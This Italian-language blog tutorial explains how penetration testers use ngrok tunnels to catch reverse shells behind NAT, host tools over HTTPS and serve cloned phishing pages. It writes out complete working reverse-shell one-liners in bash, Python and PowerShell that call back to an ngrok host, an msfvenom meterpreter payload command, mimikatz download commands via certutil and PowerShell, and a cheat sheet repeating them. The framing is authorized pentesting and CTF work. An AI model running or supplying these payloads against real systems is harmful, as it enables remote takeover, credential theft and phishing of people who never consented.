tools

ngrok Reverse Shell: tunnel TCP e Metasploit nel Pentest

ngrok Reverse Shell: tunnel TCP e Metasploit nel Pentest

Usa ngrok nel penetration testing per creare tunnel TCP/HTTPS oltre NAT e firewall, ricevere reverse shell con Netcat o Metasploit e valutare i limiti OPSEC.

  • Pubblicato il 2026-08-10
  • Tempo di lettura: 7 min

Ngrok per Pentesting: Reverse Shell, TCP Tunnel, HTTP Tunnel e OPSEC #

Stai facendo un pentest da casa o da un lab senza IP pubblico, e il target deve connettersi al tuo listener per la reverse shell — ma il tuo router fa NAT e non puoi aprire porte in forwarding. Ngrok risolve questo in trenta secondi: crea un tunnel TCP pubblico verso il tuo localhost, ti dà un hostname e una porta raggiungibili da Internet, e tutto il traffico in arrivo viene inoltrato al tuo netcat/metasploit in ascolto locale.

In penetration testing ngrok viene usato per tre cose principali: ricevere reverse shell da target che non raggiungono il tuo IP privato, hostare temporaneamente pagine HTTPS per trasferire file o per simulazioni di phishing autorizzate, e fare callback da payload quando non controlli il routing di rete.

Prerequisiti: un account ngrok gratuito su ngrok.com, network pivoting come concetto base, bash per i one-liner.


Cos’è Ngrok? #

Ngrok è una piattaforma di tunneling che crea endpoint pubblicamente raggiungibili verso servizi in esecuzione su una macchina locale. Nel penetration testing lo usi per esporre temporaneamente listener e servizi HTTP/TCP senza toccare il port forwarding del router — utile quando lavori da un IP privato dietro NAT/CGNAT e il target deve raggiungerti dall’esterno.

Come funziona Ngrok? #

text
Target
   │  Internet
Ngrok Edge (cloud ngrok.io)
   │  Tunnel cifrato
Ngrok Client (sulla tua macchina)
localhost:4444 → Listener locale

Il client ngrok che avvii in locale apre una connessione persistente verso l’infrastruttura cloud di ngrok. Quando qualcuno raggiunge l’endpoint pubblico (es. 0.tcp.eu.ngrok.io:12345), ngrok instrada quella connessione attraverso il tunnel fino al tuo servizio locale — nel nostro caso, un listener netcat o un handler Metasploit su localhost:4444.


Ngrok vs Chisel vs Ligolo-NG vs VPS #

SoluzioneSetupTunnelControllo infrastrutturaOPSECUso ideale
ngrokImmediato (account cloud)HTTP/TCPBassoBassoLab, CTF, pentest con IP pubblico difficile
chiselMedio (binario + server tuo)TCP/HTTPAltoAltoPentest reale, pivoting
ligolo-ngMedio-alto (TUN)TUNAltoAltoPivoting avanzato, routing trasparente
VPS proprioPiù lento da preparareCompletoMolto altoAltoRed team con infrastruttura dedicata

Ngrok va benissimo per lab, CTF e demo. In un engagement reale su clienti con SOC attivo, preferisci chisel, ligolo-ng o un VPS tuo con dominio custom — il traffico verso *.ngrok.io è facilmente identificabile e bloccabile.


Installazione e Setup #

bash
# Scarica ngrok (Linux x64)
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xvzf ngrok-v3-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/

# Oppure con snap (Kali/Ubuntu)
sudo snap install ngrok

# Verifica installazione
ngrok version
text
ngrok version 3.22.1

Poi registrati su ngrok.com (gratuito) e aggiungi il tuo authtoken:

bash
# Incolla il tuo authtoken dal dashboard ngrok.com/your-authtoken
ngrok config add-authtoken <IL_TUO_TOKEN>

# Il token viene salvato in ~/.config/ngrok/ngrok.yml

Senza authtoken, ngrok v3 non parte. Il piano gratuito permette 1 tunnel attivo alla volta, bandwidth illimitata e sessioni di 8 ore (dati verificati ad agosto 2026 — i piani cambiano nel tempo, controlla sempre ngrok.com prima di un engagement).


Come usare Ngrok per una Reverse Shell (TCP Tunnel) #

Per ricevere una reverse shell devi esporre il tuo listener locale su Internet. Con ngrok apri un tunnel TCP sulla porta dove stai ascoltando.

bash
# Apri tunnel TCP su porta 4444 (dove stai per ascoltare)
ngrok tcp 4444
text
Session Status    online
Account           tuonome@email.com (Plan: Free)
Forwarding        tcp://0.tcp.eu.ngrok.io:12345 -> localhost:4444

ngrok ti dà 0.tcp.eu.ngrok.io:12345 — questo è l’indirizzo che metti nel payload della reverse shell.

bash
# Terminale 1: listener locale
nc -lnvp 4444

# Terminale 2: tunnel ngrok
ngrok tcp 4444

# Payload da far eseguire sul target (bash)
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/12345 0>&1

# Payload Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("0.tcp.eu.ngrok.io",12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Payload PowerShell (Windows)
$client = New-Object System.Net.Sockets.TCPClient("0.tcp.eu.ngrok.io", 12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2=$sendback+"PS "+(pwd).Path+">";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Errore tipico: copiare l’host ngrok ma dimenticare di aggiornare la porta. La porta cambia ogni volta che riavvii ngrok con il piano gratuito. Rileggi sempre l’output di ngrok tcp 4444 prima di lanciare il payload.


Come usare Ngrok con Metasploit #

bash
# Apri tunnel
ngrok tcp 4444

# Metasploit handler locale (porta 4444, non quella ngrok)
msfconsole -q
> use exploit/multi/handler
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST 0.0.0.0   # ascolta su tutte le interfacce locali
> set LPORT 4444
> exploit -j

# Genera payload che punta a ngrok
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=0.tcp.eu.ngrok.io LPORT=12345 \
  -f exe -o payload.exe

# Il target esegue payload.exe → si connette a ngrok → forwarda a metasploit

Come usare Ngrok per Esporre un Server HTTP/HTTPS #

Per hostare temporaneamente una pagina web (file server per trasferire tool, o una simulazione di phishing autorizzata) esponi un server HTTP locale su HTTPS tramite ngrok.

bash
# Avvia un semplice HTTP server Python
python3 -m http.server 8080

# Tunnel HTTP → ottieni URL HTTPS pubblica
ngrok http 8080
text
Forwarding   https://abc123.ngrok-free.app -> http://localhost:8080

Adesso https://abc123.ngrok-free.app serve i tuoi file locali con HTTPS valido (certificato ngrok).

Trasferire tool sul target #

bash
# Sull'attacker:
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
python3 -m http.server 8080
ngrok http 8080

# Sul target Windows:
certutil -urlcache -split -f "https://abc123.ngrok-free.app/mimikatz.exe" mimikatz.exe
# oppure
iwr "https://abc123.ngrok-free.app/mimikatz.exe" -OutFile mimikatz.exe

Simulazioni di phishing autorizzate #

Se l’engagement prevede una campagna di phishing autorizzata, puoi usare lo stesso meccanismo per esporre temporaneamente una pagina clonata (creata con SET o GoPhish):

bash
python3 -m http.server 80
ngrok http 80
# URL: https://abc123.ngrok-free.app → pagina phishing clonata

Errore tipico: usare ngrok http 80 mentre un altro processo usa la porta 80. Usa una porta alta (8080, 8000) per il server locale e lascia che ngrok gestisca la mappatura su 443.


Come Proteggere un Tunnel Ngrok #

Per proteggere il tuo tunnel ngrok da accessi non autorizzati (altri potrebbero raggiungere il tuo endpoint):

bash
# HTTP tunnel con Basic Auth
ngrok http 8080 --basic-auth="admin:secretpassword"

# Solo chi conosce la password vede il contenuto

Dashboard Ngrok: Monitorare il Traffico in Tempo Reale #

ngrok espone una dashboard locale che mostra ogni request/response in tempo reale — utile per debug e per vedere chi si connette.

bash
# Avvia ngrok con dashboard abilitata (default)
ngrok http 8080

# Dashboard raggiungibile su
http://127.0.0.1:4040

Nella dashboard vedi:

  • Ogni request in arrivo (metodo, header, body)
  • Response del tuo server locale
  • Possibilità di fare replay di qualsiasi request
bash
# Puoi anche usare l'API locale di ngrok
curl -s http://127.0.0.1:4041/api/tunnels | python3 -m json.tool
# Output: JSON con tutti i tunnel attivi, URL pubbliche, statistiche

Configurare Tunnel Multipli con un File YAML #

Per avviare più tunnel in una volta con opzioni personalizzate, usa un file di configurazione:

yaml
# ~/.config/ngrok/ngrok.yml
version: "3"
authtoken: <IL_TUO_TOKEN>

tunnels:
  # Listener reverse shell
  shell:
    proto: tcp
    addr: 4444
  
  # File server HTTPS
  files:
    proto: http
    addr: 8080
    basic_auth:
      - "admin:password123"
  
  # C2 callback (HTTP)
  c2:
    proto: http
    addr: 8000
bash
# Avvia tutti i tunnel configurati
ngrok start --all

# Avvia solo specifici tunnel
ngrok start shell files

Ngrok + Chisel: Quando Combinarli #

In alcuni scenari usi ngrok per il primo accesso e poi switchi a chisel per il pivoting interno.

bash
# Scenario: reverse shell via ngrok → poi pivoti via chisel sul tunnel ngrok

# Step 1: ricevi shell su porta 4444 via ngrok TCP
ngrok tcp 4444
nc -lnvp 4444

# Step 2: dalla shell ricevuta, scarica chisel sul target
# (usa ngrok HTTP per hostare chisel)
ngrok http 8080 &
python3 -m http.server 8080 &
# Sul target: wget https://xxx.ngrok-free.app/chisel

# Step 3: usa chisel per tunnel verso rete interna
# (vedi articolo network-pivoting-advanced)

OPSEC: Ngrok è Rilevabile? #

Risposta diretta: sì, e ngrok non è pensato per essere stealth.

Rilevabile lato blue team:

  • Traffico verso *.ngrok.io e *.ngrok-free.app è identificabile dal proxy/firewall
  • I DNS lookup verso *.ngrok.io appaiono nei log DNS
  • Il processo ngrok è visibile in ps aux sul sistema attaccante
  • ngrok registra metadata di ogni sessione (IP sorgente, timestamp)

Mitigazioni per ridurre detection:

  • Usa ngrok solo in ambienti lab o CTF dove la detection non è il focus
  • In engagement reale: usa chisel su VPS proprio con dominio custom
  • Se devi usare ngrok: valuta un piano a pagamento per avere subdomini fissi (meno rumoroso nei log DNS)
bash
# Su Linux, per vedere se ngrok è già usato come malware sul target
ps aux | grep ngrok
netstat -tlnp | grep ngrok
ls /tmp/ngrok* /var/tmp/ngrok*

Percorso Operativo Consigliato #

text
1. SETUP (30 secondi)
   └─ ngrok config add-authtoken <token>
   └─ ngrok tcp 4444  (prendi host:porta dall'output)

2. LISTENER LOCALE
   └─ nc -lnvp 4444
   └─ oppure: msfconsole handler su porta 4444

3. PAYLOAD
   └─ Bash one-liner con host:porta ngrok
   └─ msfvenom con LHOST=ngrok_host LPORT=ngrok_port
   └─ PowerShell con TCPClient ngrok

4. ESEGUI PAYLOAD SUL TARGET
   └─ Shell arriva al listener locale tramite tunnel

5. POST-EXPLOITATION
   └─ Upgrade shell (python pty, script -qc)
   └─ Trasferisci tool via ngrok HTTP tunnel
   └─ Pivot verso rete interna (vedi network-pivoting-advanced)

6. CLEANUP
   └─ Ctrl+C su ngrok (tunnel chiuso)
   └─ Rimuovi payload dal target

Troubleshooting #

ProblemaCausaSoluzione
ERR_NGROK_108Authtoken mancante o invalidongrok config add-authtoken <token>
Tunnel si chiude dopo qualche oraLimite piano gratuitoRiavvia ngrok, aggiorna il payload con nuova porta
Porta cambia ogni restartPiano gratuito, no porta fissaPiano a pagamento per TCP fisso, oppure usa chisel
address already in usePorta locale occupataCambia porta locale: ngrok tcp 5555 + listener su 5555
Target non si connetteFirewall blocca ngrok.ioProva porta 443: ngrok tcp --remote-addr=0.tcp.eu.ngrok.io:443 4444
Dashboard non rispondePorta 4040 già usatangrok http --web-addr=0.0.0.0:4041 8080
Payload non funziona su WindowsPowerShell policy bloccataUsa cmd.exe one-liner o certutil per download

Domande Frequenti su Ngrok nel Pentesting #

Cos’è Ngrok nel pentesting? Uno strumento di tunneling che espone un servizio locale (listener, web server) su un endpoint pubblico raggiungibile da Internet, senza toccare il port forwarding del router.

Come funziona un tunnel Ngrok? Il client ngrok sulla tua macchina apre una connessione persistente verso l’infrastruttura cloud di ngrok. Il traffico che arriva sull’endpoint pubblico viene instradato attraverso quel tunnel fino al tuo servizio locale.

Ngrok è gratis? Sì, il piano Free è sufficiente per lab e CTF. I piani a pagamento aggiungono porte TCP fisse e subdomini custom — verifica i dettagli aggiornati su ngrok.com.

Il target deve avere ngrok installato? No. Ngrok gira solo sull’attacker. Sul target va solo il payload (bash one-liner, exe, script) che si connette all’URL ngrok.

Ngrok supporta TCP? Sì, oltre a HTTP/HTTPS. ngrok tcp <porta> è il modo con cui in pentest ricevi reverse shell attraverso NAT/firewall.

La reverse shell passa attraverso i server ngrok? Sì. Il traffico transita dai server ngrok. È cifrato con TLS, ma ngrok vede i metadati della connessione (IP sorgente, timestamp).

Ngrok è sicuro? Il traffico è cifrato in transito, ma dipendi comunque dall’infrastruttura di un terzo — non è equivalente a un tunnel su un VPS che controlli tu.

Ngrok è stealth? Può essere rilevato da un firewall? No, non è stealth. Domini *.ngrok.io/*.ngrok-free.app sono facilmente riconoscibili da proxy, firewall e log DNS.

Ngrok è meglio di Chisel o Ligolo-NG? Per velocità di setup in lab/CTF sì. Per OPSEC e controllo dell’infrastruttura in un engagement reale, no — chisel e ligolo-ng su un server tuo offrono più controllo e meno rumore.

Posso usarlo su Kali senza GUI? Perfettamente. ngrok è CLI-only, funziona in qualsiasi terminale. La dashboard su 127.0.0.1:4040 è opzionale.


Cheat Sheet Finale #

text
=== SETUP ===
Install:     wget + tar oppure snap install ngrok
Auth:        ngrok config add-authtoken <TOKEN>

=== TCP TUNNEL (reverse shell) ===
Tunnel:      ngrok tcp 4444
Listener:    nc -lnvp 4444
Payload:     bash -i >& /dev/tcp/<host_ngrok>/<port_ngrok> 0>&1
Msfvenom:    msfvenom ... LHOST=<host_ngrok> LPORT=<port_ngrok> ...

=== HTTP TUNNEL (file server / phishing) ===
Server:      python3 -m http.server 8080
Tunnel:      ngrok http 8080
URL pubblica: https://<random>.ngrok-free.app

=== AUTENTICAZIONE ===
Basic auth:  ngrok http 8080 --basic-auth="user:pass"

=== DASHBOARD ===
Web UI:      http://127.0.0.1:4040
API locale:  curl http://127.0.0.1:4041/api/tunnels

=== CONFIG FILE ===
Path:        ~/.config/ngrok/ngrok.yml
Start all:   ngrok start --all
Start some:  ngrok start shell files

=== TRASFERIMENTO FILE ===
Host:        python3 -m http.server 8080 && ngrok http 8080
Download:    certutil -urlcache -split -f "https://<url>/tool.exe" tool.exe
             iwr "https://<url>/tool.exe" -OutFile tool.exe  # PowerShell
             wget https://<url>/tool      # Linux

=== OPSEC ===
Rilevabile:  traffico *.ngrok.io nei log DNS/proxy
Alternativa: chisel/ligolo-ng su VPS proprio
Detection:   ps aux | grep ngrok | netstat | grep ngrok

Guide correlate su hackita.it:

Riferimenti #

#tunneling #nat-bypass #firewall-bypass #serveo #opsec-tunneling

lascia un messaggio

Non sono un robot